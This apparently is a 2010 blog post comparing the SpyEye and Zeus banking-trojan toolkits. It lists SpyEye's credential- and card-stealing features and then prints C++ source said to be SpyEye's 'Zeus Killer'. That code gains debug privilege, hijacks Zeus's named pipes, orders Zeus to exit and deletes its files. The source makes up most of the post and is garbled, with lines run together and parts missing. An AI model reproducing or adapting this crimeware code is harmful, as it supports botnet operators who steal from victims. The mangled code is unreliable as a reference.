SpyEye versus Zeus - Trojan War.

Post date: Mar 14, 2010 12:10:08 AM

Zeus crimeware toolkit is currently the most established crimeware toolkit in the underground economy. In late November 2009 a new crimeware toolkit, SpyEye, started appearing in sales on Russian underground forums. Retailing at $500, it is looking to take a chunk of the Zeus crimeware toolkit market. Since it is relatively new, we are not seeing a lot of SpyEye activity yet. However, given some time and the observed rate of development for this crimeware toolkit, SpyEye could be a future contender for king of the crimeware toolkits.

Read more: http://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot

SpyEye Builder:

The SpyEye toolkit is similar to Zeus in a lot of ways. It contains a builder module for creating the Trojan bot executable with config file and a Web control panel for command and control (C&C) of a bot net. Some of the advertised features online are:

• Formgrabber (Keylogger)

• Autofill credit card modules

• Daily email backup

• Encrypted config file

• Ftp protocol grabber

• Pop3 grabber

• Http basic access authorization grabber

• Zeus killer

New revisions of SpyEye, with additional features, are being released on a regular basis. The latest version (V1.0.7) contains an interesting new feature called “Kill Zeus” that we have yet to substantiate. SpyEye hooks the same Wininet API (Wininet.dll) HttpSendRequestA as used by Zeus for communications. If a compromised system infected with SpyEye was also infected with Zeus, this in turn would allow SpyEye to grab and report on http requests sent to the Zeus C&C server.

The new Kill Zeus feature is optional during the Trojan build process, but it supposedly goes as far as allowing you to delete Zeus from an infected system—meaning only SpyEye should remain running on the compromised system. If the use of SpyEye takes off, it could dent Zeus bot herds and lead to retaliation from the creators of the Zeus crimeware toolkit. This, in turn, could lead to another bot war such as we have seen in the past with Beagle, Netsky, and Mydoom.

Another feature of SpyEye is the ability to load additional threats onto infected SpyEye systems, by country.

ZeuS Killer code

This is the C++ source code for the Zeus Killer from SpyEye

#include <windows.h>

#pragma warning(disable : 4005) // macro redefinition

#include <ntdll.h>

#pragma warning(default : 4005)

#include <shlwapi.h>

#include <shlobj.h>

void GetZeusInfo(ULONG dwArg, PCHAR lpOut, DWORD dwOutLn, PCHAR lpMutex, DWORD dwMutexLn)



NTSTATUS Status = 0;

ULONG len = 0x2000;


HANDLE proc = 0, thandle = 0, hFile = 0;


UCHAR name[300] = {0};

ULONG temp = 0, rw = 0;




if (shi == 0)




Status = NtQuerySystemInformation(SystemHandleInformation, shi, len, NULL);

if (Status == STATUS_INFO_LENGTH_MISMATCH){free(shi);len *= 2;}elseif (NT_ERROR(Status)){free(shi);return;}} while (Status == STATUS_INFO_LENGTH_MISMATCH);RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, 1, 0, &enable);for (int i=0; i<(int)shi->uCount; i++){proc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, shi->aSH[i].uIdProcess);if (proc == 0){continue;}Status = NtDuplicateObject(proc, (HANDLE)shi->aSH[i].Handle, NtCurrentProcess(),&thandle, 0, 0, DUPLICATE_SAME_ACCESS);if (NT_ERROR(Status)){NtClose(proc);continue;}Status = NtQueryObject(thandle, ObjectNameInformation, 0, 0, &len);if (Status != STATUS_INFO_LENGTH_MISMATCH || len == 0){NtClose(thandle);NtClose(proc);continue;}obn = (POBJECT_NAME_INFORMATION)malloc(len);if (obn == 0){NtClose(thandle);NtClose(proc);continue;}Status = NtQueryObject(thandle, ObjectNameInformation, obn, len, &len);if (NT_ERROR(Status) || obn->Name.Buffer == 0){free(obn);NtClose(thandle);NtClose(proc);continue;}RtlZeroMemory(name, sizeof(name));WideCharToMultiByte(CP_ACP, 0, obn->Name.Buffer, obn->Name.Length >> 1,(LPSTR)name, 300, NULL, NULL);if (strstr((LPSTR)name, "__SYSTEM__") || strstr((LPSTR)name, "_AVIRA_")){lstrcpyW((LPWSTR)name, L"\\\\.\\pipe\\");lstrcatW((LPWSTR)name, obn->Name.Buffer);__retry:hFile = CreateFileW((LPWSTR)name, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);if (hFile == INVALID_HANDLE_VALUE){WaitNamedPipeW((LPWSTR)name, INFINITE);hFile = CreateFileW((LPWSTR)name,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);if (hFile == INVALID_HANDLE_VALUE){WCHAR wszBNO[] = { L"\\BaseNamedObjects\\" };if (LPWSTR wszBNOPos = StrStrW((LPWSTR)name, wszBNO)){lstrcpyW((LPWSTR)name, L"\\\\.\\pipe\\");lstrcatW((LPWSTR)name,(LPWSTR)((PBYTE)wszBNOPos + (sizeof(wszBNO) - 1 * sizeof(WCHAR))));goto __retry;}free(obn);NtClose(thandle);NtClose(proc);continue;}}temp = PIPE_READMODE_MESSAGE;if (!SetNamedPipeHandleState(hFile, &temp, 0, 0)){CloseHandle(hFile);free(obn);NtClose(thandle);NtClose(proc);continue;}temp = dwArg;if (!WriteFile(hFile, &temp, 4, &rw, 0)){CloseHandle(hFile);free(obn);NtClose(thandle);NtClose(proc);continue;}temp = 0;if (!WriteFile(hFile, &temp, 4, &rw, 0)){CloseHandle(hFile);free(obn);NtClose(thandle);NtClose(proc);continue;}temp = 0;if (!WriteFile(hFile, &temp, 0, &rw, 0)){CloseHandle(hFile);free(obn);NtClose(thandle);NtClose(proc);continue;}temp = 0;if (!ReadFile(hFile, &temp, 4, &rw, 0)){CloseHandle(hFile);free(obn);NtClose(thandle);NtClose(proc);continue;}temp = 0;if (!ReadFile(hFile, &temp, 4, &rw, 0)){CloseHandle(hFile);free(obn);NtClose(thandle);NtClose(proc);continue;}if (temp > MAX_PATH){CloseHandle(hFile);free(obn);NtClose(thandle);NtClose(proc);continue;}rw = temp;temp = (ULONG)malloc(temp);if (!temp){CloseHandle(hFile);free(obn);NtClose(thandle);NtClose(proc);continue;}if (!ReadFile(hFile, (PVOID)temp, rw, &rw, 0)){free((PVOID)temp);CloseHandle(hFile);free(obn);NtClose(thandle);NtClose(proc);continue;}if ( (temp) && lstrlenW((LPCWSTR)temp) < (int)dwOutLn) {RtlZeroMemory(lpOut, dwOutLn);WideCharToMultiByte(CP_ACP, 0, (PWCHAR)temp,lstrlenW((LPCWSTR)temp), (LPSTR)lpOut, dwOutLn, NULL, NULL);}if (lpMutex) {LPWSTR lpwMutexName = obn->Name.Buffer;LPWSTR lpwTemp;while (lpwTemp = StrStrW(lpwMutexName, L"\\")) {lpwMutexName = lpwTemp + 1;}RtlZeroMemory(lpMutex, dwMutexLn);WideCharToMultiByte(CP_ACP, 0, lpwMutexName,lstrlenW(lpwMutexName), (LPSTR)lpMutex, dwMutexLn, NULL, NULL);}free((PVOID)temp);CloseHandle(hFile);}free(obn);NtClose(thandle);NtClose(proc);}}BOOL DeleteHiddenFile(PCHAR szPath){SetFileAttributes(szPath, FILE_ATTRIBUTE_ARCHIVE);return DeleteFile(szPath);}#define ZEUS_FASTCLEANBOOL KillZeus(){// Getting infoCHAR szMutexName[MAX_PATH] = {0};CHAR szZeusPath[MAX_PATH];GetZeusInfo(11, szZeusPath, sizeof szZeusPath, szMutexName, sizeof szMutexName);if (!strlen(szMutexName)) {#ifdef _DEBUGLITEOutputDebugStringEx(__FUNCTION__" : ERROR : Cannot get szMutexName");#endifreturn FALSE;}#ifndef ZEUS_FASTCLEANCHAR szZeusConfig[MAX_PATH];GetZeusInfo(12, szZeusConfig, sizeof szZeusConfig, NULL, NULL);CHAR szZeusLog[MAX_PATH];GetZeusInfo(13, szZeusLog, sizeof szZeusLog, NULL, NULL);#endif#ifdef _DEBUGLITEOutputDebugStringEx(__FUNCTION__" : INFO : 0.) Mutex \"%s\"", szMutexName);OutputDebugStringEx(__FUNCTION__" : INFO : 1.) Path \"%s\"", szZeusPath);#ifndef ZEUS_FASTCLEANOutputDebugStringEx(__FUNCTION__" : INFO : 2.) Config \"%s\"", szZeusConfig);OutputDebugStringEx(__FUNCTION__" : INFO : 3.) Log \"%s\"", szZeusLog);#endif#endif// KillingGetZeusInfo(3, NULL, NULL, NULL, NULL);// WaitingHANDLE hMutex;for (INT i = 0; i < 10; i++) {hMutex =OpenMutex(MUTANT_QUERY_STATE|SYNCHRONIZE|STANDARD_RIGHTS_REQUIRED, FALSE,szMutexName);if (!hMutex)break;CloseHandle(hMutex);Sleep(1000);}if (hMutex) {#ifdef _DEBUGLITEOutputDebugStringEx(__FUNCTION__" : ERROR : hMutex is still active");#endifreturn FALSE;}// Deleting filesif (!DeleteHiddenFile(szZeusPath)) {#ifdef _DEBUGLITEOutputDebugStringEx(__FUNCTION__" : WARNING : Cannot delete \"%s\"",szZeusPath);#endif}#ifndef ZEUS_FASTCLEANif (!DeleteHiddenFile(szZeusConfig)) {#ifdef _DEBUGLITEOutputDebugStringEx(__FUNCTION__" : WARNING : Cannot delete \"%s\"",szZeusConfig);#endif}if (!DeleteHiddenFile(szZeusLog)) {#ifdef _DEBUGLITEOutputDebugStringEx(__FUNCTION__" : WARNING : Cannot delete \"%s\"",szZeusLog);#endif}#endif#ifdef _DEBUGLITEOutputDebugStringEx(__FUNCTION__" : INFO : EXIT");#endifreturn TRUE;}